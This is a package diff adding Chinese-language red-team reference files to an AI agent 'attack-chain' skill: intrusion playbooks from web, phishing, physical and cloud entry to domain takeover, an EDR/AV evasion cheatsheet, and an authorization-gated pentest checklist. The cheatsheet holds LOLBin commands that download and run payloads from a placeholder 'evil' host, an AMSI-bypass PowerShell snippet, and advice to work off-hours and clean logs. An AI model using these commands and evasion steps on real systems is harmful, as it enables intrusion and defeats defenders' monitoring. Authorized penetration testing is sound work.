opencode-skills-collection 4.0.43 → 4.0.44

package/bundled-skills/attack-chain/references/attack-playbooks.md

@@ -0,0 +1,126 @@
+# 攻击链 Playbook 速查
+
+> 按目标类型选择对应 playbook，每个 playbook 定义了从初始访问到目标达成的标准路径。
+
+---
+
+## Playbook 1: 外网 Web 应用 → 域控
+
+```
+1. 子域名枚举 + 端口扫描
+2. Web 指纹识别 → 找到已知漏洞组件
+3. 漏洞利用获取 Webshell / RCE
+4. 内网信息收集（ipconfig/ifconfig, arp, net user）
+5. 搭建隧道（frp/chisel/ssh）
+6. 内网扫描（存活主机、开放端口）
+7. 凭据获取（mimikatz/hashdump/配置文件）
+8. 横向移动（PTH/WMI/PsExec）
+9. 域信息收集（BloodHound）
+10. 域提权（Kerberoasting/DCSync/约束委派）
+11. 获取域控权限
+```
+
+**关键工具链**: subfinder → httpx → nuclei → sqlmap/sstimap → frp → nmap → mimikatz → crackmapexec → bloodhound → certipy
+
+---
+
+## Playbook 2: 钓鱼 → 内网渗透
+
+```
+1. 目标员工信息收集（LinkedIn/脉脉）
+2. 构造钓鱼邮件（伪造发件人/合法主题）
+3. 制作载荷（宏文档/LNK/ISO/HTML走私）
+4. 发送钓鱼邮件
+5. 等待上线（C2 beacon）
+6. 本地信息收集 + 提权
+7. 凭据提取
+8. 横向移动
+9. 持久化
+10. 目标达成
+```
+
+**关键工具链**: theHarvester → gophish → msfvenom/cobalt-strike → mimikatz → bloodhound
+
+---
+
+## Playbook 3: 近源渗透 → 内网
+
+```
+1. 物理踩点（WiFi 信号、门禁类型、USB 口）
+2. WiFi 攻击（Fluxion 伪造热点 / WPA 破解）
+   或 BadUSB 植入（Rubber Ducky 键盘注入）
+   或 网络植入（Raspberry Pi / LAN Turtle）
+3. 获取内网接入点
+4. 内网扫描
+5. 后续同 Playbook 1 的步骤 5-11
+```
+
+**关键工具链**: fluxion/aircrack-ng → rubber-ducky → frp → nmap → crackmapexec
+
+---
+
+## Playbook 4: 云环境渗透
+
+```
+1. 云资产发现（子域名 → CNAME → 云服务商）
+2. 存储桶枚举（S3/OSS/Blob 公开访问）
+3. SSRF → 云元数据（169.254.169.254）
+4. 获取临时凭据（AK/SK/Token）
+5. 云 API 枚举（IAM/EC2/Lambda/RDS）
+6. 权限提升（PassRole/AssumeRole）
+7. 横向移动（跨账户/跨区域）
+8. 数据获取
+```
+
+**关键工具链**: subfinder → nuclei(ssrf) → aws-cli → pacu → ScoutSuite
+
+---
+
+## Playbook 5: Bug Bounty / SRC 快速打点
+
+```
+1. 资产收集（子域名 + 端口 + JS 文件）
+2. 指纹识别 → 已知漏洞快速验证（nuclei）
+3. 参数发现（arjun/paramspider）
+4. 逐类测试：
+   - IDOR/越权（改 ID/改角色）
+   - SSRF（内网探测/云元数据）
+   - SQL 注入（sqlmap）
+   - XSS（xsstrike）
+   - 文件上传（绕过检测）
+   - 逻辑漏洞（支付/验证码/密码重置）
+5. 编写 PoC + 提交报告
+```
+
+**关键工具链**: subfinder → httpx → nuclei → arjun → sqlmap → xsstrike → burpsuite
+
+---
+
+## Playbook 6: AD CS 证书攻击
+
+```
+1. 发现 AD CS 服务（certipy find）
+2. 识别易受攻击的模板（ESC1-ESC8）
+3. 请求恶意证书
+4. 使用证书认证为目标用户
+5. 获取 NTLM Hash 或 TGT
+6. DCSync 导出所有凭据
+```
+
+**关键工具链**: certipy → rubeus → mimikatz → secretsdump
+
+---
+
+## 通用决策矩阵
+
+| 当前状态 | 下一步优先级 |
+|---------|-------------|
+| 只有目标域名 | 子域名枚举 → 端口扫描 → Web 指纹 |
+| 有 Web 漏洞 | 获取 shell → 内网信息收集 |
+| 有低权限 shell | 提权 → 凭据提取 |
+| 有一台内网机器 | 搭隧道 → 内网扫描 → 横向 |
+| 有域用户凭据 | BloodHound → 找攻击路径 |
+| 有域管 Hash | DCSync → Golden Ticket |
+| 有云 AK/SK | 枚举权限 → 提权 → 数据获取 |
+| 钓鱼上线 | 本地提权 → 凭据 → 横向 |
+| 近源接入 | 内网扫描 → 同上 |

package/bundled-skills/attack-chain/references/evasion-cheatsheet.md

@@ -0,0 +1,133 @@
+# EDR/AV 绕过与隐蔽操作速查
+
+> 来源：多个红队实战经验总结（2024-2026）
+> 适用场景：需要在有 EDR/AV 防护的环境中执行操作时参考
+
+---
+
+## 检测层与对应绕过
+
+| 检测层 | EDR 做什么 | 绕过思路 |
+|--------|-----------|---------|
+| 静态签名 | 匹配已知恶意文件 hash/特征 | 自定义编译、加密 payload、修改特征 |
+| 用户态 Hook | Hook ntdll.dll 监控 API 调用 | 直接系统调用 / Unhooking / 自带 ntdll |
+| 内核回调 | 注册进程/线程/镜像加载回调 | 回调移除（需要驱动）/ 合法进程注入 |
+| ETW | 通过 ETW 收集事件 | Patch EtwEventWrite / 禁用 provider |
+| 行为分析 | 分析调用序列和行为模式 | 延迟执行 / 分散操作 / 模拟正常行为 |
+| 内存扫描 | 定期扫描进程内存 | 堆加密 / Sleep 时加密 payload / 模块踩踏 |
+| 网络检测 | 分析出站流量特征 | 域前置 / 合法服务隧道 / 加密 |
+
+---
+
+## 实用绕过技术
+
+### 1. 直接系统调用（绕过用户态 Hook）
+
+```
+原理：不通过 ntdll.dll，直接用 syscall 指令调用内核
+工具：SysWhispers3 / HellsGate / TartarusGate
+效果：绕过所有用户态 Hook
+```
+
+### 2. Unhooking（恢复原始 ntdll）
+
+```
+方法 A：从磁盘重新映射 ntdll.dll
+方法 B：从 KnownDlls 目录加载干净副本
+方法 C：从挂起的进程中复制 .text 段
+效果：恢复被 Hook 的 API 到原始状态
+```
+
+### 3. 进程注入（选择低监控目标）
+
+```
+推荐注入目标（低监控）：
+- RuntimeBroker.exe
+- sihost.exe
+- taskhostw.exe
+- explorer.exe（风险稍高）
+
+避免注入：
+- lsass.exe（高度监控）
+- svchost.exe（部分 EDR 重点关注）
+- powershell.exe / cmd.exe
+```
+
+### 4. 模块踩踏（Module Stomping）
+
+```
+原理：将 payload 写入已加载的合法 DLL 的 .text 段
+效果：内存扫描时看到的是合法模块，不是可疑的 RWX 内存
+```
+
+### 5. Sleep 加密（Ekko/Zilean）
+
+```
+原理：beacon sleep 期间加密自身内存
+效果：内存扫描时找不到 payload 特征
+实现：注册 Timer 回调，sleep 前加密，唤醒后解密
+```
+
+### 6. 调用栈欺骗（Call Stack Spoofing）
+
+```
+原理：伪造调用栈，使 API 调用看起来来自合法代码
+效果：绕过基于调用栈的行为检测
+```
+
+---
+
+## C2 流量隐蔽
+
+| 技术 | 原理 | 检测难度 |
+|------|------|---------|
+| 域前置 | HTTPS 请求的 SNI 和 Host 头不同 | 高 |
+| Cloudflare Workers | 通过 CF 中转，看起来是正常 HTTPS | 高 |
+| Azure/AWS 合法服务 | 利用云服务 API 做 C2 通道 | 极高 |
+| DNS over HTTPS | C2 数据编码在 DNS 查询中 | 中 |
+| WebSocket | 长连接，混入正常 Web 流量 | 中 |
+| ICMP 隧道 | 数据藏在 ICMP 包中 | 低（容易被发现） |
+
+---
+
+## LOLBins（Living Off the Land）
+
+利用系统自带的合法程序执行恶意操作：
+
+| 程序 | 用途 | 命令示例 |
+|------|------|---------|
+| certutil | 下载文件 | `certutil -urlcache -split -f http://evil/payload.exe` |
+| mshta | 执行 HTA | `mshta http://evil/payload.hta` |
+| rundll32 | 加载 DLL | `rundll32 evil.dll,EntryPoint` |
+| regsvr32 | 加载 SCT | `regsvr32 /s /n /u /i:http://evil/file.sct scrobj.dll` |
+| wmic | 远程执行 | `wmic /node:target process call create "cmd"` |
+| msiexec | 安装 MSI | `msiexec /q /i http://evil/payload.msi` |
+| bitsadmin | 下载文件 | `bitsadmin /transfer job http://evil/payload.exe C:\payload.exe` |
+| forfiles | 执行命令 | `forfiles /p c:\windows /m notepad.exe /c "cmd /c calc.exe"` |
+
+---
+
+## AMSI 绕过（PowerShell）
+
+```powershell
+# 经典 Patch（可能被签名检测）
+$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
+$b = $a.GetField('amsiInitFailed','NonPublic,Static')
+$b.SetValue($null,$true)
+
+# 更隐蔽的方式：反射修改 AmsiScanBuffer
+# 或使用 PowerShell 降级到 v2（无 AMSI）
+powershell -version 2
+```
+
+---
+
+## 操作安全（OpSec）原则
+
+1. **最小动作原则** — 能不碰的不碰，能用已有凭据的不新建
+2. **时间窗口** — 在目标非工作时间操作（减少人工审查概率）
+3. **流量混入** — C2 通信频率和大小模拟正常业务流量
+4. **工具不落盘** — 内存执行，用完即清
+5. **日志意识** — 知道哪些操作会产生什么日志，提前规避或事后清理
+6. **蜜罐识别** — 操作前先识别蜜罐（异常开放的服务、过于诱人的凭据）
+7. **分段操作** — 不要一次性完成所有步骤，分散在多个时间段

package/bundled-skills/attack-chain/references/lifecycle-checklist.md

@@ -0,0 +1,37 @@
+# 渗透/攻击链生命周期检查单
+
+> 对照社区 pentest skill 包（如 Orizon claude-code-pentest 六阶段）与本包 `attack-chain` + `ops` 整合。  
+> 来源启发：公开 Claude pentest lifecycle skills（2026-07 检索）；**命令与授权以本包 scope 为准**。  
+> 日期：2026-07-17
+
+## 使用前
+
+- [ ] `case-init` 完成，`auth.status=granted`
+- [ ] `network_profile` ≠ 误用 unrestricted 打生产
+- [ ] `lead` 已指定 specialist_roles（`ops/role-map.md`）
+
+## 阶段门闩
+
+| 阶段 | 角色 | 本包 skill | 完成标准 |
+|------|------|------------|----------|
+| 0 Scope | lead | ops/scope-contract | ready_for_act |
+| 1 Recon | cie | pentest-tools | assets 列表 + timeline |
+| 2 Enum/Vuln | cpe | pentest-tools / api-security | 候选 F-* 草稿 |
+| 3 Validate | cpe | pentest-tools | E-* + validated Finding |
+| 4 Post-ex（若授权） | cpe/lead | attack-chain 后半 | 不超 out_of_scope |
+| 5 RE 辅助 | cre | ida/apk/js/… | 仅当需要客户端/二进制 |
+| 6 Report | doc | docs-generator | Evidence→Finding→Path |
+| 7 Journal | lead | field-journal | 脱敏 |
+
+## 与「给一个域名全自动打穿」类 skill 的差异（特色）
+
+| 外部自动化包常见 | reverse-skill |
+|------------------|---------------|
+| 默认对域名狂扫 | 必须 scope 资产列表 |
+| 弱证据直接写报告 | 强制 E/F/P 链 |
+| 单会话无角色 | role-map 交接 |
+| 无工具索引 | tool-index + bootstrap |
+
+## 每阶段 timeline 最少一条
+
+格式见 `ops/timeline-workitem.md`。